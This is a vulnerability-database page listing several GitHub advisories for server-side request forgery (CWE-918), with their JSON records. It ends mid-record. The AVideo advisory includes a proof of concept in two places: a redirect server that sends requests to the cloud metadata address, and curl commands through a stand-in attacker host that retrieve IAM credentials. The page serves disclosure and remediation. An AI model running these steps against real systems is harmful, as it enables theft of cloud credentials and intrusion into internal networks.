Common Weakness Enumeration

CWE-918

Allowed

Server-Side Request Forgery (SSRF)

Abstraction: Base · Status: Incomplete

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.

4755 vulnerabilities reference this CWE, most recent first.

GHSA-9WRX-MW8F-HX7P

Vulnerability from github – Published: 2022-05-24 16:56 – Updated: 2024-04-04 01:57
VLAI
Details

An issue was discovered in GitLab Community and Enterprise Edition 10.1 through 12.2.1. Protections against SSRF attacks on the Kubernetes integration are insufficient, which could have allowed an attacker to request any local network resource accessible from the GitLab server.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2019-15728"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2019-09-16T17:15:00Z",
    "severity": "HIGH"
  },
  "details": "An issue was discovered in GitLab Community and Enterprise Edition 10.1 through 12.2.1. Protections against SSRF attacks on the Kubernetes integration are insufficient, which could have allowed an attacker to request any local network resource accessible from the GitLab server.",
  "id": "GHSA-9wrx-mw8f-hx7p",
  "modified": "2024-04-04T01:57:32Z",
  "published": "2022-05-24T16:56:16Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-15728"
    },
    {
      "type": "WEB",
      "url": "https://about.gitlab.com/2019/08/29/security-release-gitlab-12-dot-2-dot-3-released"
    },
    {
      "type": "WEB",
      "url": "https://gitlab.com/gitlab-org/gitlab-ce/issues/61314"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-9WVJ-RHHH-8292

Vulnerability from github – Published: 2026-07-14 21:32 – Updated: 2026-07-14 21:32
VLAI
Details

Simple Machines Forum 2.1 prior to commit 4bf35cf and 3.0 prior to commit b4d23df contains a server-side request forgery vulnerability in the image proxy that allows authenticated attackers to trigger internal HTTP requests by embedding attacker-controlled URLs in BBCode image tags, which the proxy fetches without validating resolved destination IPs against private address ranges, loopback, or link-local addresses. Attackers can leverage SMF's automatic HMAC signature generation for any embedded image URL to obtain valid signed proxy requests targeting internal services such as cloud instance metadata endpoints, internal web applications, and container network services.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-61520"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-14T21:17:06Z",
    "severity": "MODERATE"
  },
  "details": "Simple Machines Forum 2.1 prior to commit 4bf35cf and 3.0 prior to commit b4d23df contains a server-side request forgery vulnerability in the image proxy that allows authenticated attackers to trigger internal HTTP requests by embedding attacker-controlled URLs in BBCode image tags, which the proxy fetches without validating resolved destination IPs against private address ranges, loopback, or link-local addresses. Attackers can leverage SMF\u0027s automatic HMAC signature generation for any embedded image URL to obtain valid signed proxy requests targeting internal services such as cloud instance metadata endpoints, internal web applications, and container network services.",
  "id": "GHSA-9wvj-rhhh-8292",
  "modified": "2026-07-14T21:32:25Z",
  "published": "2026-07-14T21:32:25Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-61520"
    },
    {
      "type": "WEB",
      "url": "https://github.com/SimpleMachines/SMF/commit/4bf35cf9e45573a5f55a6f52995086c1da89c096"
    },
    {
      "type": "WEB",
      "url": "https://github.com/SimpleMachines/SMF/commit/b4d23dfd74a511587c605f9d294cefc3a75b4b26"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/simple-machines-forum-ssrf-via-image-proxy"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:N/SC:H/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-9WX3-PWM6-MXJC

Vulnerability from github – Published: 2022-05-14 03:21 – Updated: 2022-05-14 03:21
VLAI
Details

** DISPUTED ** Glastopf 3.1.3-dev has SSRF, as demonstrated by the abc.php a parameter. NOTE: the vendor indicates that this is intentional behavior because the product is a web application honeypot, and modules/handlers/emulators/rfi.py supports Remote File Inclusion emulation.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2018-10220"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2018-04-19T08:29:00Z",
    "severity": "HIGH"
  },
  "details": "** DISPUTED ** Glastopf 3.1.3-dev has SSRF, as demonstrated by the abc.php a parameter. NOTE: the vendor indicates that this is intentional behavior because the product is a web application honeypot, and modules/handlers/emulators/rfi.py supports Remote File Inclusion emulation.",
  "id": "GHSA-9wx3-pwm6-mxjc",
  "modified": "2022-05-14T03:21:10Z",
  "published": "2022-05-14T03:21:10Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-10220"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mushorg/glastopf/issues/286"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-9X67-F2V7-63RW

Vulnerability from github – Published: 2026-03-17 20:33 – Updated: 2026-03-20 21:22
VLAI
Summary
AVideo vulnerable to unauthenticated SSRF via HTTP redirect bypass in LiveLinks proxy
Details

Summary

The plugin/LiveLinks/proxy.php endpoint validates user-supplied URLs against internal/private networks using isSSRFSafeURL(), but only checks the initial URL. When the initial URL responds with an HTTP redirect (Location header), the redirect target is fetched via fakeBrowser() without re-validation, allowing an attacker to reach internal services (cloud metadata, RFC1918 addresses) through an attacker-controlled redirect.

Affected Component

  • plugin/LiveLinks/proxy.php — lines 38-42 (redirect handling without SSRF re-validation)
  • objects/functionsBrowser.phpfakeBrowser() (line 123, raw cURL fetch with no SSRF protections)

Description

Missing SSRF re-validation after HTTP redirect

The proxy.php endpoint validates the user-supplied livelink parameter against internal networks on line 18, using the comprehensive isSSRFSafeURL() function (which blocks private IPs, loopback, link-local/metadata, cloud metadata hostnames, and resolves DNS to detect rebinding). However, after calling get_headers() on line 38 — which follows HTTP redirects — the code extracts the Location header and passes it directly to fakeBrowser() without re-applying the SSRF check:

// plugin/LiveLinks/proxy.php — lines 17-42

// SSRF Protection: Block requests to internal/private networks
if (!isSSRFSafeURL($_GET['livelink'])) {                    // line 18: only checks initial URL
    _error_log("LiveLinks proxy: SSRF protection blocked URL: " . $_GET['livelink']);
    echo "Access denied: URL targets restricted network";
    exit;
}

// ... stream context setup ...

$headers = get_headers($_GET['livelink'], 1, $context);      // line 38: follows redirects
if (!empty($headers["Location"])) {
    $_GET['livelink'] = $headers["Location"];                 // line 40: attacker-controlled redirect target
    $urlinfo = parse_url($_GET['livelink']);
    $content = fakeBrowser($_GET['livelink']);                 // line 42: fetches internal URL, NO SSRF check
    $_GET['livelink'] = "{$urlinfo["scheme"]}://{$urlinfo["host"]}:{$urlinfo["port"]}";
}

No SSRF protections in fakeBrowser()

The fakeBrowser() function in objects/functionsBrowser.php performs a raw cURL GET with no URL validation:

// objects/functionsBrowser.php — lines 123-141
function fakeBrowser($url)
{
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 ...');
    $output = curl_exec($ch);
    curl_close($ch);
    return $output;
}

No IP validation, no scheme restriction, no redirect control — any URL passed to this function is fetched unconditionally.

Endpoint is fully unauthenticated

The file begins by explicitly opting out of database and session initialization:

$doNotConnectDatabaseIncludeConfig = 1;
$doNotStartSessionbaseIncludeConfig = 1;
require_once '../../videos/configuration.php';

There is no .htaccess rule restricting access to proxy.php, and the root .htaccess confirms the plugin directory is routable (line 248: RewriteRule ^plugin/([^...]+)/(.*)?$ plugin/$1/$2).

Inconsistent defense pattern

The codebase demonstrates awareness of SSRF risks — isSSRFSafeURL() is used in 5 other locations (aVideoEncoder.json.php:303, aVideoEncoderReceiveImage.json.php:67,107,135,160, AI/receiveAsync.json.php:177). However, none of these callers deal with HTTP redirects. The proxy.php endpoint is the only one that follows redirects, and it is the only one that fails to re-validate after following them.

Double SSRF exposure

There are actually two SSRF requests in the redirect path: 1. get_headers() (line 38) follows the redirect to the internal IP to fetch response headers 2. fakeBrowser() (line 42) fetches the full response body from the internal IP

The second is more impactful as it returns the full content to the attacker.

Proof of Concept

Step 1: Set up an attacker-controlled server that returns a 302 redirect to an internal target:

# redirect_server.py
from http.server import HTTPServer, BaseHTTPRequestHandler

class RedirectHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(302)
        self.send_header('Location', 'http://169.254.169.254/latest/meta-data/')
        self.end_headers()

HTTPServer(('0.0.0.0', 8080), RedirectHandler).serve_forever()

Step 2: Send the request to the target AVideo instance:

curl -s "https://TARGET/plugin/LiveLinks/proxy.php?livelink=https://attacker.example:8080/redirect"

Expected result: The response will contain the cloud metadata listing (e.g., ami-id, instance-id, iam/) prefixed with http://169.254.169.254: on each line. The attacker strips the prefix to recover the original metadata content.

Step 3: Escalate to IAM credential theft:

# Redirect to: http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name>
curl -s "https://TARGET/plugin/LiveLinks/proxy.php?livelink=https://attacker.example:8080/redirect-iam"

This returns temporary AWS credentials (AccessKeyId, SecretAccessKey, Token) that can be used to access cloud resources.

Impact

  • Cloud metadata exposure: Attacker can read instance metadata on AWS (169.254.169.254), GCP (metadata.google.internal), and Azure (169.254.169.254) cloud deployments, including IAM role credentials
  • Internal network scanning: Attacker can probe RFC1918 addresses (10.x, 172.16-31.x, 192.168.x) and localhost services to map internal infrastructure
  • Internal service data exfiltration: Any HTTP GET-accessible internal service (databases with HTTP interfaces, admin panels, monitoring dashboards) can have its content read and returned to the attacker
  • No authentication required: The attack is fully unauthenticated, requiring only network access to the AVideo instance

Recommended Remediation

Option 1: Re-validate the redirect target with isSSRFSafeURL() (preferred)

Apply the same SSRF check to the redirect URL before fetching it:

$headers = get_headers($_GET['livelink'], 1, $context);
if (!empty($headers["Location"])) {
    $_GET['livelink'] = $headers["Location"];

    // Re-validate redirect target against SSRF
    if (!isSSRFSafeURL($_GET['livelink'])) {
        _error_log("LiveLinks proxy: SSRF protection blocked redirect URL: " . $_GET['livelink']);
        echo "Access denied: Redirect URL targets restricted network";
        exit;
    }

    $urlinfo = parse_url($_GET['livelink']);
    $content = fakeBrowser($_GET['livelink']);
    $_GET['livelink'] = "{$urlinfo["scheme"]}://{$urlinfo["host"]}:{$urlinfo["port"]}";
}

Option 2: Disable redirect following in get_headers()

Prevent get_headers() from following redirects entirely by adding follow_location to the stream context:

$options = array(
    'http' => array(
        'user_agent' => '...',
        'method' => 'GET',
        'header' => array("Referer: localhost\r\nAccept-language: en\r\nCookie: foo=bar\r\n"),
        'follow_location' => 0,  // Do not follow redirects
        'max_redirects' => 0,
    )
);

Then validate the Location header with isSSRFSafeURL() before following it manually. This approach prevents the get_headers() call itself from performing SSRF via the redirect.

Note: Option 1 is simpler but still allows get_headers() to make an initial request to the redirect target (header-only SSRF). Option 2 eliminates both SSRF vectors. Both options should be combined for defense-in-depth.

Credit

This vulnerability was discovered and reported by bugbunny.ai.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "wwbn/avideo"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "25.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33039"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-17T20:33:06Z",
    "nvd_published_at": "2026-03-20T06:16:12Z",
    "severity": "HIGH"
  },
  "details": "## Summary\nThe `plugin/LiveLinks/proxy.php` endpoint validates user-supplied URLs against internal/private networks using `isSSRFSafeURL()`, but only checks the initial URL. When the initial URL responds with an HTTP redirect (`Location` header), the redirect target is fetched via `fakeBrowser()` without re-validation, allowing an attacker to reach internal services (cloud metadata, RFC1918 addresses) through an attacker-controlled redirect.\n\n## Affected Component\n- `plugin/LiveLinks/proxy.php` \u2014 lines 38-42 (redirect handling without SSRF re-validation)\n- `objects/functionsBrowser.php` \u2014 `fakeBrowser()` (line 123, raw cURL fetch with no SSRF protections)\n\n## Description\n\n### Missing SSRF re-validation after HTTP redirect\n\nThe `proxy.php` endpoint validates the user-supplied `livelink` parameter against internal networks on line 18, using the comprehensive `isSSRFSafeURL()` function (which blocks private IPs, loopback, link-local/metadata, cloud metadata hostnames, and resolves DNS to detect rebinding). However, after calling `get_headers()` on line 38 \u2014 which follows HTTP redirects \u2014 the code extracts the `Location` header and passes it directly to `fakeBrowser()` without re-applying the SSRF check:\n\n```php\n// plugin/LiveLinks/proxy.php \u2014 lines 17-42\n\n// SSRF Protection: Block requests to internal/private networks\nif (!isSSRFSafeURL($_GET[\u0027livelink\u0027])) {                    // line 18: only checks initial URL\n    _error_log(\"LiveLinks proxy: SSRF protection blocked URL: \" . $_GET[\u0027livelink\u0027]);\n    echo \"Access denied: URL targets restricted network\";\n    exit;\n}\n\n// ... stream context setup ...\n\n$headers = get_headers($_GET[\u0027livelink\u0027], 1, $context);      // line 38: follows redirects\nif (!empty($headers[\"Location\"])) {\n    $_GET[\u0027livelink\u0027] = $headers[\"Location\"];                 // line 40: attacker-controlled redirect target\n    $urlinfo = parse_url($_GET[\u0027livelink\u0027]);\n    $content = fakeBrowser($_GET[\u0027livelink\u0027]);                 // line 42: fetches internal URL, NO SSRF check\n    $_GET[\u0027livelink\u0027] = \"{$urlinfo[\"scheme\"]}://{$urlinfo[\"host\"]}:{$urlinfo[\"port\"]}\";\n}\n```\n\n### No SSRF protections in fakeBrowser()\n\nThe `fakeBrowser()` function in `objects/functionsBrowser.php` performs a raw cURL GET with no URL validation:\n\n```php\n// objects/functionsBrowser.php \u2014 lines 123-141\nfunction fakeBrowser($url)\n{\n    $ch = curl_init();\n    curl_setopt($ch, CURLOPT_URL, $url);\n    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);\n    curl_setopt($ch, CURLOPT_USERAGENT, \u0027Mozilla/5.0 ...\u0027);\n    $output = curl_exec($ch);\n    curl_close($ch);\n    return $output;\n}\n```\n\nNo IP validation, no scheme restriction, no redirect control \u2014 any URL passed to this function is fetched unconditionally.\n\n### Endpoint is fully unauthenticated\n\nThe file begins by explicitly opting out of database and session initialization:\n\n```php\n$doNotConnectDatabaseIncludeConfig = 1;\n$doNotStartSessionbaseIncludeConfig = 1;\nrequire_once \u0027../../videos/configuration.php\u0027;\n```\n\nThere is no `.htaccess` rule restricting access to `proxy.php`, and the root `.htaccess` confirms the plugin directory is routable (line 248: `RewriteRule ^plugin/([^...]+)/(.*)?$ plugin/$1/$2`).\n\n### Inconsistent defense pattern\n\nThe codebase demonstrates awareness of SSRF risks \u2014 `isSSRFSafeURL()` is used in 5 other locations (`aVideoEncoder.json.php:303`, `aVideoEncoderReceiveImage.json.php:67,107,135,160`, `AI/receiveAsync.json.php:177`). However, none of these callers deal with HTTP redirects. The `proxy.php` endpoint is the only one that follows redirects, and it is the only one that fails to re-validate after following them.\n\n### Double SSRF exposure\n\nThere are actually two SSRF requests in the redirect path:\n1. `get_headers()` (line 38) follows the redirect to the internal IP to fetch response headers\n2. `fakeBrowser()` (line 42) fetches the full response body from the internal IP\n\nThe second is more impactful as it returns the full content to the attacker.\n\n## Proof of Concept\n\n**Step 1:** Set up an attacker-controlled server that returns a 302 redirect to an internal target:\n\n```python\n# redirect_server.py\nfrom http.server import HTTPServer, BaseHTTPRequestHandler\n\nclass RedirectHandler(BaseHTTPRequestHandler):\n    def do_GET(self):\n        self.send_response(302)\n        self.send_header(\u0027Location\u0027, \u0027http://169.254.169.254/latest/meta-data/\u0027)\n        self.end_headers()\n\nHTTPServer((\u00270.0.0.0\u0027, 8080), RedirectHandler).serve_forever()\n```\n\n**Step 2:** Send the request to the target AVideo instance:\n\n```bash\ncurl -s \"https://TARGET/plugin/LiveLinks/proxy.php?livelink=https://attacker.example:8080/redirect\"\n```\n\n**Expected result:** The response will contain the cloud metadata listing (e.g., `ami-id`, `instance-id`, `iam/`) prefixed with `http://169.254.169.254:` on each line. The attacker strips the prefix to recover the original metadata content.\n\n**Step 3:** Escalate to IAM credential theft:\n\n```bash\n# Redirect to: http://169.254.169.254/latest/meta-data/iam/security-credentials/\u003crole-name\u003e\ncurl -s \"https://TARGET/plugin/LiveLinks/proxy.php?livelink=https://attacker.example:8080/redirect-iam\"\n```\n\nThis returns temporary AWS credentials (`AccessKeyId`, `SecretAccessKey`, `Token`) that can be used to access cloud resources.\n\n## Impact\n\n- **Cloud metadata exposure:** Attacker can read instance metadata on AWS (169.254.169.254), GCP (metadata.google.internal), and Azure (169.254.169.254) cloud deployments, including IAM role credentials\n- **Internal network scanning:** Attacker can probe RFC1918 addresses (10.x, 172.16-31.x, 192.168.x) and localhost services to map internal infrastructure\n- **Internal service data exfiltration:** Any HTTP GET-accessible internal service (databases with HTTP interfaces, admin panels, monitoring dashboards) can have its content read and returned to the attacker\n- **No authentication required:** The attack is fully unauthenticated, requiring only network access to the AVideo instance\n\n## Recommended Remediation\n\n### Option 1: Re-validate the redirect target with isSSRFSafeURL() (preferred)\n\nApply the same SSRF check to the redirect URL before fetching it:\n\n```php\n$headers = get_headers($_GET[\u0027livelink\u0027], 1, $context);\nif (!empty($headers[\"Location\"])) {\n    $_GET[\u0027livelink\u0027] = $headers[\"Location\"];\n\n    // Re-validate redirect target against SSRF\n    if (!isSSRFSafeURL($_GET[\u0027livelink\u0027])) {\n        _error_log(\"LiveLinks proxy: SSRF protection blocked redirect URL: \" . $_GET[\u0027livelink\u0027]);\n        echo \"Access denied: Redirect URL targets restricted network\";\n        exit;\n    }\n\n    $urlinfo = parse_url($_GET[\u0027livelink\u0027]);\n    $content = fakeBrowser($_GET[\u0027livelink\u0027]);\n    $_GET[\u0027livelink\u0027] = \"{$urlinfo[\"scheme\"]}://{$urlinfo[\"host\"]}:{$urlinfo[\"port\"]}\";\n}\n```\n\n### Option 2: Disable redirect following in get_headers()\n\nPrevent `get_headers()` from following redirects entirely by adding `follow_location` to the stream context:\n\n```php\n$options = array(\n    \u0027http\u0027 =\u003e array(\n        \u0027user_agent\u0027 =\u003e \u0027...\u0027,\n        \u0027method\u0027 =\u003e \u0027GET\u0027,\n        \u0027header\u0027 =\u003e array(\"Referer: localhost\\r\\nAccept-language: en\\r\\nCookie: foo=bar\\r\\n\"),\n        \u0027follow_location\u0027 =\u003e 0,  // Do not follow redirects\n        \u0027max_redirects\u0027 =\u003e 0,\n    )\n);\n```\n\nThen validate the `Location` header with `isSSRFSafeURL()` before following it manually. This approach prevents the `get_headers()` call itself from performing SSRF via the redirect.\n\n**Note:** Option 1 is simpler but still allows `get_headers()` to make an initial request to the redirect target (header-only SSRF). Option 2 eliminates both SSRF vectors. Both options should be combined for defense-in-depth.\n\n## Credit\nThis vulnerability was discovered and reported by [bugbunny.ai](https://bugbunny.ai).",
  "id": "GHSA-9x67-f2v7-63rw",
  "modified": "2026-03-20T21:22:40Z",
  "published": "2026-03-17T20:33:06Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-9x67-f2v7-63rw"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33039"
    },
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/commit/0e56382921fc71e64829cd1ec35f04e338c70917"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/WWBN/AVideo"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "AVideo vulnerable to unauthenticated SSRF via HTTP redirect bypass in LiveLinks proxy"
}

GHSA-9X7H-GGC3-XG47

Vulnerability from github – Published: 2023-05-08 15:30 – Updated: 2023-05-17 12:57
VLAI
Summary
imgproxy is vulnerable to Server-Side Request Forgery
Details

imgproxy prior to version 3.15.0 is vulnerable to Server-Side Request Forgery (SSRF) due to a lack of sanitization of the imageURL parameter.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/imgproxy/imgproxy/v3"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.15.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-30019"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-05-11T20:34:50Z",
    "nvd_published_at": "2023-05-08T15:15:11Z",
    "severity": "MODERATE"
  },
  "details": "imgproxy prior to version 3.15.0 is vulnerable to Server-Side Request Forgery (SSRF) due to a lack of sanitization of the imageURL parameter.",
  "id": "GHSA-9x7h-ggc3-xg47",
  "modified": "2023-05-17T12:57:59Z",
  "published": "2023-05-08T15:30:20Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-30019"
    },
    {
      "type": "WEB",
      "url": "https://github.com/imgproxy/imgproxy/commit/1a9768a2c682e88820064aa3d9a05ea234ff3cc4"
    },
    {
      "type": "WEB",
      "url": "https://breakandpray.com/cve-2023-30019-ssrf-in-imgproxy"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/imgproxy/imgproxy"
    },
    {
      "type": "WEB",
      "url": "https://github.com/imgproxy/imgproxy/blob/ee9e8f0cb101ec22318caffd552a23cc0548d5ce/imagedata/download.go#L142"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "imgproxy is vulnerable to Server-Side Request Forgery"
}

GHSA-9XC9-XQ7W-VPCR

Vulnerability from github – Published: 2024-01-31 09:30 – Updated: 2025-02-13 19:32
VLAI
Summary
Apache ServiceComb Service-Center Server-Side Request Forgery vulnerability
Details

Server-Side Request Forgery (SSRF) vulnerability in Apache ServiceComb Service-Center. Attackers can obtain sensitive server information through specially crafted requests.This issue affects Apache ServiceComb before 2.1.0 (included). Users are recommended to upgrade to version 2.2.0, which fixes the issue.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/apache/servicecomb-service-center"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.2.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-44313"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-01-31T22:43:09Z",
    "nvd_published_at": "2024-01-31T09:15:43Z",
    "severity": "HIGH"
  },
  "details": "Server-Side Request Forgery (SSRF) vulnerability in Apache ServiceComb Service-Center. Attackers can obtain sensitive server information through specially crafted requests.This issue affects Apache ServiceComb before 2.1.0 (included). Users are recommended to upgrade to version 2.2.0, which fixes the issue.",
  "id": "GHSA-9xc9-xq7w-vpcr",
  "modified": "2025-02-13T19:32:39Z",
  "published": "2024-01-31T09:30:18Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-44313"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/apache/servicecomb-service-center"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread/kxovd455o9h4f2v811hcov2qknbwld5r"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2024/01/31/4"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:L/VA:L/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Apache ServiceComb Service-Center Server-Side Request Forgery vulnerability"
}

GHSA-9XCP-X784-H228

Vulnerability from github – Published: 2025-06-17 21:32 – Updated: 2025-06-17 21:32
VLAI
Details

A Server-side Request Forgery (SSRF) vulnerability in Trend Micro Apex Central (SaaS) could allow an attacker to manipulate certain parameters leading to information disclosure on affected installations.

Please note: this vulnerability only affects the SaaS instance of Apex Central - customers that automatically apply Trend Micro's monthly maintenance releases to the SaaS instance do not have to take any further action.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-30680"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-06-17T20:15:31Z",
    "severity": "HIGH"
  },
  "details": "A Server-side Request Forgery (SSRF) vulnerability in Trend Micro Apex Central (SaaS) could allow an attacker to manipulate certain parameters leading to information disclosure on affected installations.  \n\nPlease note: this vulnerability only affects the SaaS instance of Apex Central - customers that automatically apply Trend Micro\u0027s monthly maintenance releases to the SaaS instance do not have to take any further action.",
  "id": "GHSA-9xcp-x784-h228",
  "modified": "2025-06-17T21:32:31Z",
  "published": "2025-06-17T21:32:30Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-30680"
    },
    {
      "type": "WEB",
      "url": "https://success.trendmicro.com/en-US/solution/KA-0019355"
    },
    {
      "type": "WEB",
      "url": "https://www.zerodayinitiative.com/advisories/ZDI-25-238"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-9XP2-5X23-FHJ5

Vulnerability from github – Published: 2024-02-23 12:30 – Updated: 2026-04-28 21:34
VLAI
Details

Server-Side Request Forgery (SSRF) vulnerability in Raaj Trambadia Pexels: Free Stock Photos.This issue affects Pexels: Free Stock Photos: from n/a through 1.2.2.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-25915"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-02-23T12:15:46Z",
    "severity": "MODERATE"
  },
  "details": "Server-Side Request Forgery (SSRF) vulnerability in Raaj Trambadia Pexels: Free Stock Photos.This issue affects Pexels: Free Stock Photos: from n/a through 1.2.2.",
  "id": "GHSA-9xp2-5x23-fhj5",
  "modified": "2026-04-28T21:34:00Z",
  "published": "2024-02-23T12:30:31Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-25915"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/vulnerability/wp-pexels-free-stock-photos/wordpress-pexels-free-stock-photos-plugin-1-2-2-server-side-request-forgery-ssrf-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-9XP7-754R-WJ55

Vulnerability from github – Published: 2024-03-28 06:30 – Updated: 2025-02-13 18:32
VLAI
Details

Server-Side Request Forgery (SSRF) vulnerability in Jordy Meow AI Engine: ChatGPT Chatbot.This issue affects AI Engine: ChatGPT Chatbot: from n/a through 2.1.4.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-29090"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-03-28T06:15:12Z",
    "severity": "MODERATE"
  },
  "details": "Server-Side Request Forgery (SSRF) vulnerability in Jordy Meow AI Engine: ChatGPT Chatbot.This issue affects AI Engine: ChatGPT Chatbot: from n/a through 2.1.4.",
  "id": "GHSA-9xp7-754r-wj55",
  "modified": "2025-02-13T18:32:24Z",
  "published": "2024-03-28T06:30:47Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-29090"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/vulnerability/ai-engine/wordpress-ai-engine-plugin-2-1-4-server-side-request-forgery-ssrf-vulnerability?_s_id=cve"
    },
    {
      "type": "WEB",
      "url": "https://www.vicarius.io/vsociety/posts/chaos-in-the-ai-zoo-exploiting-cve-2024-29090-authenticated-ssrf-in-ai-engine-plugin-by-jordy-meow"
    },
    {
      "type": "WEB",
      "url": "https://www.vicarius.io/vsociety/posts/decoding-the-unseen-threat-exploiting-cve-2024-29090-authenticated-ssrf-in-ai-engine-by-jordy-meow-wordpress-plugin"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
